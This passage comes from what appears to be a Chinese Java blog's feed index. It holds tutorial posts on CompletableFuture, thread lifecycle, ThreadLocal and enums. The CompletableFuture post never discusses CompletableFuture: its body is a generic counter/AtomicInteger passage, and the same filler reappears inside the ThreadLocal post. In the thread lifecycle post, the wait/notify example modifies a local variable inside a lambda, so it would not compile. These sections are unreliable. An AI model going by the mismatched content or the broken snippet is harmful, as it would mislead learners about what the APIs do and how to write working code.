      <link href="//completablefuture-bian-pai-yi-bu-ren-wu/"/>
      <url>//completablefuture-bian-pai-yi-bu-ren-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="CompletableFuture-编排异步任务"><a href="#CompletableFuture-编排异步任务" class="headerlink" title="CompletableFuture 编排异步任务"></a>CompletableFuture 编排异步任务</h1><p>CompletableFuture 让异步编程更优雅。本文讲它的核心能力和组合方式。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>线程的创建方式与生命周期</title>
      <link href="//xian-cheng-de-chuang-jian-fang-shi-yu-sheng-ming-zhou-qi/"/>
      <url>//xian-cheng-de-chuang-jian-fang-shi-yu-sheng-ming-zhou-qi/</url>
      
        <content type="html"><![CDATA[<h1 id="线程的创建方式与生命周期"><a href="#线程的创建方式与生命周期" class="headerlink" title="线程的创建方式与生命周期"></a>线程的创建方式与生命周期</h1><p>线程是 Java 并发编程的基础单元。本文系统讲解线程的创建、状态和生命周期管理。</p><h2 id="线程的三种创建方式"><a href="#线程的三种创建方式" class="headerlink" title="线程的三种创建方式"></a>线程的三种创建方式</h2><h3 id="1-继承-Thread-类"><a href="#1-继承-Thread-类" class="headerlink" title="1. 继承 Thread 类"></a>1. 继承 Thread 类</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MyThread</span> <span class="keyword">extends</span> <span class="title class_">Thread</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;线程执行: &quot;</span> + Thread.currentThread().getName());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用</span></span><br><span class="line"><span class="type">MyThread</span> <span class="variable">thread</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">MyThread</span>();</span><br><span class="line">thread.start();</span><br></pre></td></tr></table></figure><p><strong>缺点</strong>：Java 单继承限制，无法继承其他类。</p><h3 id="2-实现-Runnable-接口"><a href="#2-实现-Runnable-接口" class="headerlink" title="2. 实现 Runnable 接口"></a>2. 实现 Runnable 接口</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MyRunnable</span> <span class="keyword">implements</span> <span class="title class_">Runnable</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;线程执行: &quot;</span> + Thread.currentThread().getName());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用</span></span><br><span class="line"><span class="type">Thread</span> <span class="variable">thread</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Thread</span>(<span class="keyword">new</span> <span class="title class_">MyRunnable</span>());</span><br><span class="line">thread.start();</span><br><span class="line"></span><br><span class="line"><span class="comment">// Lambda 简化</span></span><br><span class="line"><span class="type">Thread</span> <span class="variable">thread2</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; System.out.println(<span class="string">&quot;线程执行&quot;</span>));</span><br><span class="line">thread2.start();</span><br></pre></td></tr></table></figure><p><strong>优点</strong>：解耦任务和线程，更灵活。</p><h3 id="3-实现-Callable-接口"><a href="#3-实现-Callable-接口" class="headerlink" title="3. 实现 Callable 接口"></a>3. 实现 Callable 接口</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MyCallable</span> <span class="keyword">implements</span> <span class="title class_">Callable</span>&lt;String&gt; &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">call</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        Thread.sleep(<span class="number">1000</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;任务完成&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用</span></span><br><span class="line">FutureTask&lt;String&gt; futureTask = <span class="keyword">new</span> <span class="title class_">FutureTask</span>&lt;&gt;(<span class="keyword">new</span> <span class="title class_">MyCallable</span>());</span><br><span class="line"><span class="keyword">new</span> <span class="title class_">Thread</span>(futureTask).start();</span><br><span class="line"></span><br><span class="line"><span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> futureTask.get();  <span class="comment">// 阻塞等待结果</span></span><br><span class="line">System.out.println(result);</span><br></pre></td></tr></table></figure><p><strong>特点</strong>：可以返回值，可以抛出异常。</p><h3 id="三种方式对比"><a href="#三种方式对比" class="headerlink" title="三种方式对比"></a>三种方式对比</h3><table><thead><tr><th>方式</th><th>返回值</th><th>异常</th><th>灵活性</th></tr></thead><tbody><tr><td>Thread</td><td>无</td><td>内部处理</td><td>低</td></tr><tr><td>Runnable</td><td>无</td><td>内部处理</td><td>高</td></tr><tr><td>Callable</td><td>有</td><td>可抛出</td><td>高</td></tr></tbody></table><h2 id="线程的六种状态"><a href="#线程的六种状态" class="headerlink" title="线程的六种状态"></a>线程的六种状态</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">enum</span> <span class="title class_">State</span> &#123;</span><br><span class="line">    NEW,        <span class="comment">// 新建</span></span><br><span class="line">    RUNNABLE,   <span class="comment">// 可运行</span></span><br><span class="line">    BLOCKED,    <span class="comment">// 阻塞</span></span><br><span class="line">    WAITING,    <span class="comment">// 等待</span></span><br><span class="line">    TIMED_WAITING,  <span class="comment">// 限时等待</span></span><br><span class="line">    TERMINATED  <span class="comment">// 终止</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="状态转换图"><a href="#状态转换图" class="headerlink" title="状态转换图"></a>状态转换图</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">NEW -&gt; start() -&gt; RUNNABLE &lt;-&gt; 获取锁失败 -&gt; BLOCKED -&gt; 获取锁 -&gt; RUNNABLE</span><br><span class="line">                      |</span><br><span class="line">                      |-&gt; wait() -&gt; WAITING -&gt; notify()/notifyAll() -&gt; RUNNABLE</span><br><span class="line">                      |</span><br><span class="line">                      |-&gt; sleep(time)/wait(time)/join(time) -&gt; TIMED_WAITING -&gt; 时间到 -&gt; RUNNABLE</span><br><span class="line">                      |</span><br><span class="line">                      |-&gt; 执行完毕/异常 -&gt; TERMINATED</span><br></pre></td></tr></table></figure><h3 id="各状态详解"><a href="#各状态详解" class="headerlink" title="各状态详解"></a>各状态详解</h3><h4 id="NEW（新建）"><a href="#NEW（新建）" class="headerlink" title="NEW（新建）"></a>NEW（新建）</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Thread</span> <span class="variable">t</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;&#125;);</span><br><span class="line">System.out.println(t.getState());  <span class="comment">// NEW</span></span><br></pre></td></tr></table></figure><p>线程被创建，未调用 start()。</p><h4 id="RUNNABLE（可运行）"><a href="#RUNNABLE（可运行）" class="headerlink" title="RUNNABLE（可运行）"></a>RUNNABLE（可运行）</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Thread</span> <span class="variable">t</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">while</span> (<span class="literal">true</span>) &#123;&#125;  <span class="comment">// 占用CPU</span></span><br><span class="line">&#125;);</span><br><span class="line">t.start();</span><br><span class="line">System.out.println(t.getState());  <span class="comment">// RUNNABLE</span></span><br></pre></td></tr></table></figure><p>包含操作系统层面的 Running 和 Ready 状态。</p><h4 id="BLOCKED（阻塞）"><a href="#BLOCKED（阻塞）" class="headerlink" title="BLOCKED（阻塞）"></a>BLOCKED（阻塞）</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Object</span> <span class="variable">lock</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Object</span>();</span><br><span class="line"></span><br><span class="line"><span class="type">Thread</span> <span class="variable">t1</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">synchronized</span> (lock) &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123; Thread.sleep(<span class="number">10000</span>); &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;&#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="type">Thread</span> <span class="variable">t2</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">synchronized</span> (lock) &#123;  <span class="comment">// 阻塞等待t1释放锁</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">t1.start();</span><br><span class="line">t2.start();</span><br><span class="line">Thread.sleep(<span class="number">100</span>);</span><br><span class="line">System.out.println(t2.getState());  <span class="comment">// BLOCKED</span></span><br></pre></td></tr></table></figure><p>等待获取监视器锁（synchronized）。</p><h4 id="WAITING（等待）"><a href="#WAITING（等待）" class="headerlink" title="WAITING（等待）"></a>WAITING（等待）</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Object</span> <span class="variable">lock</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Object</span>();</span><br><span class="line"></span><br><span class="line"><span class="type">Thread</span> <span class="variable">t</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">synchronized</span> (lock) &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            lock.wait();  <span class="comment">// 释放锁，进入WAITING</span></span><br><span class="line">        &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;&#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">t.start();</span><br><span class="line">Thread.sleep(<span class="number">100</span>);</span><br><span class="line">System.out.println(t.getState());  <span class="comment">// WAITING</span></span><br></pre></td></tr></table></figure><p>无限期等待，需要被唤醒：</p><ul><li><code>Object.wait()</code></li><li><code>Thread.join()</code></li><li><code>LockSupport.park()</code></li></ul><h4 id="TIMED-WAITING（限时等待）"><a href="#TIMED-WAITING（限时等待）" class="headerlink" title="TIMED_WAITING（限时等待）"></a>TIMED_WAITING（限时等待）</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Thread</span> <span class="variable">t</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        Thread.sleep(<span class="number">10000</span>);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;&#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">t.start();</span><br><span class="line">Thread.sleep(<span class="number">100</span>);</span><br><span class="line">System.out.println(t.getState());  <span class="comment">// TIMED_WAITING</span></span><br></pre></td></tr></table></figure><p>限时等待，时间到自动恢复：</p><ul><li><code>Thread.sleep(long)</code></li><li><code>Object.wait(long)</code></li><li><code>Thread.join(long)</code></li><li><code>LockSupport.parkNanos(long)</code></li><li><code>LockSupport.parkUntil(long)</code></li></ul><h4 id="TERMINATED（终止）"><a href="#TERMINATED（终止）" class="headerlink" title="TERMINATED（终止）"></a>TERMINATED（终止）</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Thread</span> <span class="variable">t</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;&#125;);</span><br><span class="line">t.start();</span><br><span class="line">t.join();</span><br><span class="line">System.out.println(t.getState());  <span class="comment">// TERMINATED</span></span><br></pre></td></tr></table></figure><p>线程执行完毕或异常退出。</p><h2 id="线程基本操作"><a href="#线程基本操作" class="headerlink" title="线程基本操作"></a>线程基本操作</h2><h3 id="启动与中断"><a href="#启动与中断" class="headerlink" title="启动与中断"></a>启动与中断</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Thread</span> <span class="variable">t</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">while</span> (!Thread.currentThread().isInterrupted()) &#123;</span><br><span class="line">        <span class="comment">// 执行任务</span></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            Thread.sleep(<span class="number">1000</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">            <span class="comment">// 收到中断信号，退出循环</span></span><br><span class="line">            Thread.currentThread().interrupt();  <span class="comment">// 重新设置中断标志</span></span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">t.start();</span><br><span class="line"><span class="comment">// ...</span></span><br><span class="line">t.interrupt();  <span class="comment">// 请求中断线程</span></span><br></pre></td></tr></table></figure><h3 id="等待与通知"><a href="#等待与通知" class="headerlink" title="等待与通知"></a>等待与通知</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Object</span> <span class="variable">lock</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Object</span>();</span><br><span class="line"><span class="type">boolean</span> <span class="variable">flag</span> <span class="operator">=</span> <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 等待线程</span></span><br><span class="line"><span class="type">Thread</span> <span class="variable">waiter</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">synchronized</span> (lock) &#123;</span><br><span class="line">        <span class="keyword">while</span> (!flag) &#123;  <span class="comment">// 防止虚假唤醒</span></span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                lock.wait();</span><br><span class="line">            &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;&#125;</span><br><span class="line">        &#125;</span><br><span class="line">        System.out.println(<span class="string">&quot;条件满足，继续执行&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 通知线程</span></span><br><span class="line"><span class="type">Thread</span> <span class="variable">notifier</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">synchronized</span> (lock) &#123;</span><br><span class="line">        flag = <span class="literal">true</span>;</span><br><span class="line">        lock.notifyAll();  <span class="comment">// 唤醒所有等待线程</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h2 id="守护线程"><a href="#守护线程" class="headerlink" title="守护线程"></a>守护线程</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Thread</span> <span class="variable">daemon</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;守护线程运行中...&quot;</span>);</span><br><span class="line">        <span class="keyword">try</span> &#123; Thread.sleep(<span class="number">1000</span>); &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;&#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br><span class="line">daemon.setDaemon(<span class="literal">true</span>);  <span class="comment">// 设置为守护线程</span></span><br><span class="line">daemon.start();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 主线程结束，守护线程自动终止</span></span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>后台服务线程（如垃圾回收线程）</li><li>所有非守护线程结束后，JVM 自动退出</li><li>守护线程不能持有需要关闭的资源</li></ul><h2 id="线程优先级"><a href="#线程优先级" class="headerlink" title="线程优先级"></a>线程优先级</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Thread</span> <span class="variable">t</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;&#125;);</span><br><span class="line">t.setPriority(Thread.MAX_PRIORITY);  <span class="comment">// 10</span></span><br><span class="line"><span class="comment">// Thread.NORM_PRIORITY = 5</span></span><br><span class="line"><span class="comment">// Thread.MIN_PRIORITY = 1</span></span><br></pre></td></tr></table></figure><p><strong>注意</strong>：优先级只是提示，具体调度取决于操作系统，不可靠。</p><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><ol><li><strong>优先使用 Runnable/Callable</strong>：解耦任务和线程</li><li><strong>正确响应中断</strong>：不要忽略 InterruptedException</li><li><strong>使用线程池</strong>：不要直接创建 Thread</li><li><strong>避免使用 stop/suspend/resume</strong>：已废弃，不安全</li><li><strong>守护线程不持有资源</strong>：防止资源泄漏</li></ol><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 好的做法：使用线程池</span></span><br><span class="line"><span class="type">ExecutorService</span> <span class="variable">executor</span> <span class="operator">=</span> Executors.newFixedThreadPool(<span class="number">10</span>);</span><br><span class="line">Future&lt;String&gt; future = executor.submit(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;任务结果&quot;</span>;</span><br><span class="line">&#125;);</span><br><span class="line"><span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> future.get();</span><br><span class="line">executor.shutdown();</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理解线程的生命周期和状态转换是并发编程的基础。在实际开发中，应尽量使用线程池和并发工具类，避免直接操作 Thread 对象。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Java </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ThreadLocal 的使用和内存泄漏问题</title>
      <link href="//threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/"/>
      <url>//threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="ThreadLocal-的使用和内存泄漏问题"><a href="#ThreadLocal-的使用和内存泄漏问题" class="headerlink" title="ThreadLocal 的使用和内存泄漏问题"></a>ThreadLocal 的使用和内存泄漏问题</h1><p>ThreadLocal 解决了什么问题、会引发什么问题，这是一个经典话题。很多人用 ThreadLocal 存储用户上下文，却忽略了内存泄漏的风险。本文从原理到内存泄漏的处理方式都覆盖到。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>ThreadLocal 为每个线程提供独立的变量副本</p></li><li><p>底层使用 ThreadLocalMap 存储，key 是弱引用</p></li><li><p>内存泄漏的原因：ThreadLocal 被回收，但 Entry 仍然引用着 value</p></li><li><p>解决方案：使用完毕后调用 remove() 方法</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>ThreadLocal 是一个强大的工具，但需要谨慎使用。在实际项目中，结合 try-finally 块确保资源被正确清理，可以有效避免内存泄漏问题。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>枚举类型的设计哲学与用法</title>
      <link href="//mei-ju-lei-xing-de-she-ji-zhe-xue-yu-yong-fa/"/>
      <url>//mei-ju-lei-xing-de-she-ji-zhe-xue-yu-yong-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="枚举类型的设计哲学与用法"><a href="#枚举类型的设计哲学与用法" class="headerlink" title="枚举类型的设计哲学与用法"></a>枚举类型的设计哲学与用法</h1><p>Java 枚举（enum）不仅是常量集合，更是功能完整的类。本文从设计哲学到高级用法，全面解析枚举类型。</p><h2 id="枚举的本质"><a href="#枚举的本质" class="headerlink" title="枚举的本质"></a>枚举的本质</h2><p>编译后的枚举是一个继承 <code>java.lang.Enum</code> 的 final 类：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 源代码</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">enum</span> <span class="title class_">Status</span> &#123;</span><br><span class="line">    ACTIVE, INACTIVE, DELETED;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 编译后（等价形式）</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">final</span> <span class="keyword">class</span> <span class="title class_">Status</span> <span class="keyword">extends</span> <span class="title class_">Enum</span>&lt;Status&gt; &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Status</span> <span class="variable">ACTIVE</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Status</span>(<span class="string">&quot;ACTIVE&quot;</span>, <span class="number">0</span>);</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Status</span> <span class="variable">INACTIVE</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Status</span>(<span class="string">&quot;INACTIVE&quot;</span>, <span class="number">1</span>);</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Status</span> <span class="variable">DELETED</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Status</span>(<span class="string">&quot;DELETED&quot;</span>, <span class="number">2</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="title function_">Status</span><span class="params">(String name, <span class="type">int</span> ordinal)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(name, ordinal);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="基础用法"><a href="#基础用法" class="headerlink" title="基础用法"></a>基础用法</h2><h3 id="带属性和方法的枚举"><a href="#带属性和方法的枚举" class="headerlink" title="带属性和方法的枚举"></a>带属性和方法的枚举</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">enum</span> <span class="title class_">Status</span> &#123;</span><br><span class="line">    ACTIVE(<span class="number">1</span>, <span class="string">&quot;活跃&quot;</span>),</span><br><span class="line">    INACTIVE(<span class="number">0</span>, <span class="string">&quot;未激活&quot;</span>),</span><br><span class="line">    DELETED(-<span class="number">1</span>, <span class="string">&quot;已删除&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">int</span> code;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String desc;</span><br><span class="line">    </span><br><span class="line">    Status(<span class="type">int</span> code, String desc) &#123;</span><br><span class="line">        <span class="built_in">this</span>.code = code;</span><br><span class="line">        <span class="built_in">this</span>.desc = desc;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">getCode</span><span class="params">()</span> &#123; <span class="keyword">return</span> code; &#125;</span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getDesc</span><span class="params">()</span> &#123; <span class="keyword">return</span> desc; &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 根据code查找枚举</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Status <span class="title function_">fromCode</span><span class="params">(<span class="type">int</span> code)</span> &#123;</span><br><span class="line">        <span class="keyword">for</span> (Status s : values()) &#123;</span><br><span class="line">            <span class="keyword">if</span> (s.code == code) <span class="keyword">return</span> s;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>(<span class="string">&quot;无效的状态码: &quot;</span> + code);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="枚举常用方法"><a href="#枚举常用方法" class="headerlink" title="枚举常用方法"></a>枚举常用方法</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Status</span> <span class="variable">s</span> <span class="operator">=</span> Status.ACTIVE;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 